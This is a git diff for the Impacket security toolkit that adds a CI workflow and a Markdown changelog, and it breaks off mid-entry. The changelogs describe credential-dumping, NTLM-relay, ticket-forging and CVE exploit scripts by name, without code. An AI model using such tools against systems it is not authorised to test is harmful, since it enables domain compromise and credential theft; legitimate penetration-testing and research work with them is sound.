diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml new file mode 100644 index 0000000000..16c30c3619 --- /dev/null +++ b/.github/workflows/build_and_test.yml @@ -0,0 +1,106 @@ +# GitHub Action workflow to build and run Impacket's tests +# + +name: Build and test Impacket + +on: [push, pull_request] + +env: + DOCKER_TAG: impacket:latests + +jobs: + lint: + name: Check syntaxs errors and warnings + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Setup Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + + - name: Install Python dependencies + run: | + python -m pip install flake8 + + - name: Check syntax errors + run: | + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + + - name: Check PEP8 warnings + run: | + flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics + + test: + name: Run unit tests and build wheel + needs: lint + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + strategy: + fail-fast: false + matrix: + tox-env: [py27, py36, py37, py38] + experimental: [false] + include: + - tox-env: py27 + python-version: 2.7 + - tox-env: py36 + python-version: 3.6 + - tox-env: py37 + python-version: 3.7 + - tox-env: py38 + python-version: 3.8 + - tox-env: py39 + python-version: 3.9 + experimental: true + env: + TOXENV: ${{ matrix.tox-env }} + continue-on-error: ${{ matrix.experimental }} + + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Setup Python ${{ matrix.python-version }} + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + + - name: Install Python dependencies + run: | + python -m pip install --upgrade pip wheel + python -m pip install tox -r requirements.txt -r requirements-test.txt + + - name: Run unit tests + run: | + tox -- -m 'not remote' + + - name: Build wheel artifact + run: | + python setup.py bdist_wheel + + docker: + name: Build docker image + needs: lint + runs-on: ubuntu-latest + if: + github.event_name == 'push' || github.event.pull_request.head.repo.full_name != + github.repository + + continue-on-error: true + steps: + - name: Checkout Impacket + uses: actions/checkout@v2 + + - name: Build docker image + run: | + docker build -t ${{ env.DOCKER_TAG }} . diff --git a/.gitignore b/.gitignore index 7922288f3d..207755bdf3 100644 --- a/.gitignore +++ b/.gitignore @@ -70,3 +70,6 @@ target/ # PyCharm .idea + +# Test cases configuration +tests/dcetests.cfg \ No newline at end of file diff --git a/.travis.yml b/.travis.yml index ea8fa3035a..b5557d4d54 100644 --- a/.travis.yml +++ b/.travis.yml @@ -19,7 +19,7 @@ jobs: allow_failures: - python: 3.9-dev -install: pip install flake8 tox -r requirements.txt +install: python -m pip install flake8 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names diff --git a/ChangeLog b/ChangeLog deleted file mode 100644 index de8d9415d1..0000000000 --- a/ChangeLog +++ /dev/null @@ -1,203 +0,0 @@ -Complete list of changes can be found at: -https://github.com/SecureAuthCorp/impacket/commits/master - -June 2016: 0.9.15: -1) Library improvements - * SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle) - * Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss) - * Packet fragmentation for DCE RPC layer mayor overhaul. - * Improved pass-the-key attacks scenarios (by @skelsec) - * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to - build the search filter yourself) - * IPv6 improvements for DCERPC/LDAP and Kerberos - -2) Examples improvements - * Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC - resides in the same server - * secretsdump.py - a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode - b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only) - c. Support for different ReplEpoch (DRSUAPI only) - d. pwdLastSet is also included in the output file - e. New structures/flags added for 2016 TP5 PAM support - * wmiquery.py - a. Adding -rpc-auth-level switch (by @gadio) - * smbrelayx.py - a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky) - b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) - -3) New Examples - * GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account. - This is part of the kerberoast attack researched by Tim Medin (@timmedin) - * ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) - (by @dirkjanm) - -January 2016: 0.9.14: -1) Library improvements - * [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations - * [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation - * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved - * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) - * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) - * Kerberos support for TDS (MSSQL) - * Extended present flags support on RadioTap class - * Old DCERPC runtime code removed - -2) Examples improvements - * mssqlclient.py: Added Kerberos authentication support - * atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 - * smbrelayx.py: - * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default - * Added -c option to execute custom commands in the target (by @byt3bl33d3r) - * secretsdump.py: - a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method) - by default. VSS method is still available by using the -use-vss switch - b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and - -just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options - c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option - d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5) - e. Add support for multiple password encryption keys (PEK) (by @s0crat) - * goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC - -3) New examples - * raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege - escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640 - * netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) - -May 2015: 0.9.13: -1) Library improvements - * Kerberos support for SMB and DCERPC featuring: - a. kerberosLogin() added to SMBConnection (all SMB versions). - b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will - negotiate Kerberos. This also includes DCOM. - c. Pass-the-hash, pass-the-ticket and pass-the-key support. - d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc). - e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers. - f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY. - * [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py) - * SMBSERVER improvements: - a. SMB2 (2.002) dialect experimental support. - b. Adding capability to export to John The Ripper format files - * Library logging overhaul. Now there's a single logger called 'impacket'. - -2) Examples improvements - * Added Kerberos support to all modules (incl. pass-the-ticket/key) - * Ported most of the modules to the new dcerpc.v5 runtime. - * secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT - * smbserver.py: support for SMB2 (not enabled by default) - * smbrelayx.py: Added support for MS15-027 exploitation. - -3) New examples - * goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a - psexec session at the target. - * karmaSMB.py: SMB Server that answers specific file contents regardless of - the SMB share and pathname requested. - * wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event - Consumers/Filters to execute VBS based on a WQL filter or timer specified. - -July 2014: 0.9.12: -1) The following protocols were added based on its standard definition - * [MS-DCOM] - Distributed Component Object module Protocol (dcom.py) - * [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py) - * [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py) - -2) New examples - a. wmiquery.py: executes WMI queries and get WMI object's descriptions. - b. wmiexec.py: agent-less, semi-interactive shell using WMI. - c. smbserver.py: quick an easy way to share files using the SMB protocol. - -February 2014: 0.9.11: -1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available) - a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) - b. Support for RPC_C_AUTHN_NETLOGON (experimental) - c. The following interface were developed based on its standard definition: - * [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) - * [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) - * [MS-NRPC] - Netlogon Remote Protocol (nrpc.py) - * [MS-RRP] - Windows Remote Registry Protocol (rrp.py) - * [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py) - * [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py) - * [MS-SRVS] - Server Service Remote Protocol (srvs.py) - * [MS-WKST] - Workstation Service Remote Protocol (wkst.py) - * [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py) - * [MS-DTYP] - Windows Data Types (dtypes.py) - Most of the DCE Calls have helper functions for easier use. Test cases added for - all calls (check the test cases directory) -2) ESE parser (Extensive Storage Engine) (ese.py) -3) Windows Registry parser (winregistry.py) -4) TDS protocol now supports SSL, can be used from mssqlclient -5) Support for EAPOL, EAP and WPS decoders -6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi -7) New examples - a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server - b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) - c. ntfs-read.py: mini shell for browsing an NTFS volume - d. registry-read.py: Windows offline registry reader - e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) - -March 2013: 0.9.10: -1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending. -2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent. - It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available - methods across all the protocols. -3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers. -4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. -5) DCERPC Endpoints' new calls - a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects. -6) New examples - a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives - you an SQL prompt for your pleasure. - b. mssqlinstance.py: Lists the MS SQL instances running on a target machine. - c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the - UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to - develop new functionality to interact against a target interface. - d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the - technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also - supports instantiating a local smbserver to receive the output of the commandos executed for those situations - where no share is available on the other end. - e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly. - -And finally tons of fixes :). - -July 2012: 0.9.9: -1) Added 802.11 packets encoding/decoding -2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class. -3) SMB/DCERPC - a. GSS-API/SPNEGO Support. - b. SPN support in auth blob. - c. NTLM2 and NTLMv2 support. - d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name. - e. Pass the hash supported for SMB/DCE-RPC. - f. IPv6 support for SMB/NMB/DCERPC. - g. DOMAIN support for authentication. - h. SMB signing support when server enforces it. - i. DCERPC signing/sealing for all NTLM flavours. - j. DCERPC transport now accepts an already established SMB connection. - k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by - forwarding named pipes requests). - l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's - not functional. - -4) DCERPC Endpoints' new calls - a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(), - NetprNameCanonicalize(). - b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(), - StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW(). - c. WKSSVC: NetrWkstaTransportEnum(). - d. SAMR: OpenAlias(), GetMembersInAlias(). - e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose(). - -5) New examples - a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list - of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is - listed and/or listening. - b. lookupsid.py: DCE/RPC lookup sid brute forcer example. - c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first - 256 operation numbers in turn and reports the outcome of each call. - d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). - e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented. - f. smbrelayx: Passes credentials to a third party server when doing MiTM. - g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but - not enforced. Tested under Windows, Linux and MacOS clients. - h. smbclient.py: now supports history, new commands also added. - i. psexec.py: Execute remote commands on Windows machines diff --git a/ChangeLog.md b/ChangeLog.md new file mode 100644 index 0000000000..66dbef2abc --- /dev/null +++ b/ChangeLog.md @@ -0,0 +1,561 @@ +# ChangeLog + +Project's main page at [www.secureauth.com](https://www.secureauth.com/labs/open-source-tools/impacket). + +Complete list of changes can be found at: +https://github.com/SecureAuthCorp/impacket/commits/master + +## Unreleased changes + + +## Impacket v0.9.24 (October 2021): + +1. Library improvements + * Fixed WMI objects parsing (@franferrax) + * Added the RpcAddPrinterDriverEx method and related structures to [MS-RPRN]: Print System Remote Protocol (@cube0x0) + * Initial implementation of [MS-PAR]: Print System Asynchronous Remote Protocol (@cube0x0) + * Complying MS-RPCH with HTTP/1.1 (@mohemiv) + * Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo) + +2. Examples improvements + * [getST.py](examples/getST.py): + * Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia) + * Added anonymous session handling in the HTTP server (@0xdeaddood) + * Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus) + * Added the implementation of AD CS attack (@ExAndroidDev) + * Disabled the anonymous logon in the SMB server (@ly4k) + * [psexec.py](examples/psexec.py): + * Fixed decoding problems on multi bytes characters (@p0dalirius) + * [reg.py](examples/reg.py): + * Implemented ADD and DELETE functionalities (@Gifts) + * [secretsdump.py](examples/secretsdump.py): + * Speeding up NTDS parsing (@skelsec) + * [smbclient.py](examples/smbclient.py): + * Added 'mget' command which allows the download of multiple files (@deadjakk) + * Handling empty search count in FindFileBothDirectoryInfo (@martingalloar) + * [smbpasswd.py](examples/smbpasswd.py): + * Added the ability to change a user's password providing NTLM hashes (@snovvcrash) + * [smbserver.py](examples/smbserver.py): + * Added NULL SMBv2 client connection handling (@0xdeaddood) + * Hardened path checks and Added TID checks (@martingalloar) + * Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood) + * Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar) + * [wmipersist.py](examples/wmipersist.py): + * Fixed VBA script execution and improved error checking (@franferrax) + +3. New examples + * [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius + + +## Impacket v0.9.23 (June 2021): + +1. Library improvements + * Support connect timeout with SMBTransport (@vruello) + * Speeding up DcSync (@mohemiv) + * Fixed Python3 issue when serving SOCKS5 requests (@agsolino) + * Moved docker container to Python 3.8 (@mgallo) + * Added basic GitHub Actions workflow (@mgallo) + * Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx) + * Fixed POST request processing in `httprelayserver.py` (@Rcarnus) + * Added cat command to `smbclient.py` (@mxrch) + * Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser) + * Python 3.9 support (@meeuw and @cclauss) + +2. Examples improvements + * [addcomputer.py](examples/addcomputer.py): + * Enable the machine account created via SAMR (@0xdeaddood) + * [getST.py](examples/getST.py): + * Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42) + * Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Fixed target parsing error (@0xdeaddood) + * [wmipersist.py](examples/wmipersist.py): + * Fixed `filterBinding` error (@franferrax) + * Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py` + and `wmiexec.py` (@snovvcrash) + * Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`, + `wmipersist.py` and `wmiquery.py` (@zexusx26) + +3. New examples + * [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts + Group Policy Preferences passwords using streams for treating files instead of mounting + shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius) + * [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and + intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss + + +## Impacket v0.9.22 (November 2020): + +1. Library improvements + * Added implementation of RPC over HTTP v2 protocol (by @mohemiv). + * Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv). + * Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers). + * NDR parser optimization (by @mohemiv). + * Improved serialization of WMI method parameters (by @tshmul). + * Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax). + * Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm). + * Python 3.8 support. + +2. Examples improvements + * [atexec.py](examples/atexec.py): + * Fixed after MS patches related to RPC attacks (by @mohemiv). + * [dpapi.py](examples/dpapi.py): + * Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand. + * [GetNPUsers.py](examples/GetNPUsers.py): + * Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov). + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Added new features for kerberoasting (by @mohemiv). + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added ability to relay on new Windows versions that have SMB guest access disabled by default. + * Added option to specify the NTLM Server Challenge used when receiving a connection. + * Added relaying to RPC support (by @mohemiv). + * Implemented WCFRelayServer (by @cnotin). + * Added Zerologon DCSync Relay Client (by @dirkjanm). + * Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo). + * [rpcdump.py](examples/rpcdump.py): + * Added RPC over HTTP v2 support (by @mohemiv). + * [secretsdump.py](examples/secretsdump.py): + * Added ability to specifically delete a shadow based on its ID (by @phefley). + * Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm). + +3. New examples + - [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via + RPC over HTTP v2 (by @mohemiv). + - [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv). + +As always, thanks a lot to all these contributors that make this library better every day (since last version): +@mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo + + +## Impacket v0.9.21 (March 2020): + +1. Library improvements + * New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0). + * Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx). + * Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin). + * Timestamped logging added. + * Interactive shell to perform LDAP operations (by @mlefebvre). + * Added two DCE/RPC calls in `tsch.py` (by @mohemiv). + * Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0). + * Added implementation for keytab files (by @kcirtapw). + * Added SMB 3.1.1 support for Client SMB Connections. + +2. Examples improvements + * [smbclient.py](examples/smbclient.py): + * List the VSS snapshots for a specified path (by @rxwx). + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Added delegation information associated with accounts (by @G0ldenGunSec). + * [dpapi.py](examples/dpapi.py): + * Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm). + * Pass the hash support for backup key retrieval (by @imaibou). + * Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou). + * [raiseChild.py](examples/raiseChild.py): + * Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood). + * Added flags to bypass badly made detection use cases (by @MaxNad): + * [smbexec.py](examples/smbexec.py): + * Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag. + * [psexec.py](examples/psexec.py): + * Possibility to use another service name with the `-service-name` flag. + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7). + * Support for dumping LAPS passwords (by @praetorian-adam-crosser). + * Added LDAP interactive mode that allow an attacker to manually perform basic operations + like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre). + * Support for multiple relays through one SMB connection (by @0xdeaddood). + * Added support for dumping gMSA passwords (by @cube0x0). + * [ticketer.py](examples/ticketer.py): + * Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw) + +3. New Examples + - [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP + or SAMR (SMB) (by @jagotu) + - [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files, + commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0). + - [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all + delegation relationships (unconstrained, constrained, resource-based constrained) in + an AD environment (by @G0ldenGunSec). + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas. + + +## Impacket v0.9.20 (September 2019): + +1. Library improvements + * Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets + whenever you find something not working as expected. Libraries and examples should be fully + functional. + * Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev + * Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin) + * Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov) + * Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm) + * Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90) + +3. New Examples + * [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for + testing KDC handling S4U2Self with unkeyed checksum (by @iboukris) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son. + + +## Impacket v0.9.19 (April 2019): + +1. Library improvements + * [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son ) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Socks local admin check (by @imaibou) + * Add Resource Based Delegation features (by @dirkjanm) + * [smbclient.py](examples/smbclient.py): + * Added ability to create/remove mount points to exploit James Forshaw's + [Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka) + * [GetST.py](examples/getST.py): + * Added resource-based constrained delegation support to S4U (@eladshamir) + * [GetNPUsers.py](examples/GetNPUsers.py): + * Added hashcat/john format and users file input (by @Zer1t0) + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0. + + +## Impacket v0.9.18 (December 2018): + +1. Library improvements + * Replace unmaintained PyCrypto for pycryptodome (@dirkjanm) + * Using cryptographically secure pseudo-random generators + * Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire) + * Test cases adjustments, travis and flake support (@cclauss) + * Python3 test cases fixes (@eldipa) + * Adding DPAPI / Vaults related structures and functions to decrypt secrets + * [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial) + +2. Examples improvements + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm) + * [secretsdump.py](examples/secretsdump.py): + * Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown. + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * Bugfixes and cross-domain support (@dirkjanm) + +3. New Examples + * [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son + +As always, thanks a lot to all these contributors that make this library better every day (since last version): + +@dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa. + + +## Impacket v0.9.17 (May 2018): + +1. Library improvements + * New `[MS-PAC]` [Implementation](impacket/krb5/pac.py). + * [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple + paging support and handling of unsolicited notification (by @kacpern) + * [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet + decoders (by Michael Niewoehner) + * [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec) + * [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default. + * Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son + * Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b). + More use of [structure.py](impacket/structure.py) in there. + * [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example. + * Tox/Coverage Support added, test cases moved to its own directory. Major overhaul. + * Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines). + +2. Examples improvements + * [GetUserSPNs.py](examples/GetUserSPNs.py): + * `-request-user` parameter added. Requests STs for the SPN associated to the user + specified. Added support for AES Kerberoast tickets (by @elitest). + * [services.py](examples/services.py): + * Added port 139 support and related options (by @real-datagram). + * [samrdump.py](examples/samrdump.py): + * `-csv` switch to output format in CSV added. + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm. + * [secretsdump.py](examples/secretsdump.py): + * AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA + secrets dump (by @Ramzeth). + * [mssqlclient.py](examples/mssqlclient.py): + * Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks). + * [lsalookupsid.py](examples/lsalookupsid.py): + * Added no-pass and domain-users options (by @ropnop). + +3. New Examples + * [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or + based on a template (legally requested from the KDC) allowing you to customize + some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the + groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh. + * [GetADUsers.py](examples/GetADUsers.py): Gathers data about the domain's users and + their corresponding email addresses. It will also include some extra information + about last logon and last password set attributes. + * [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate) + structure of the specified target user just having a normal authenticated user + credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User + Kerberos Authentication. + * [getArch.py](examples/getArch.py): Will connect against a target (or list of targets) + machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature. + * [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC + server developed by @gentilkiwi. + * [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and + executing the shared library specified by the user through the `-so` parameter. + * [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`, + but using different DCOM endpoints. Currently supports `MMC20.Application`, 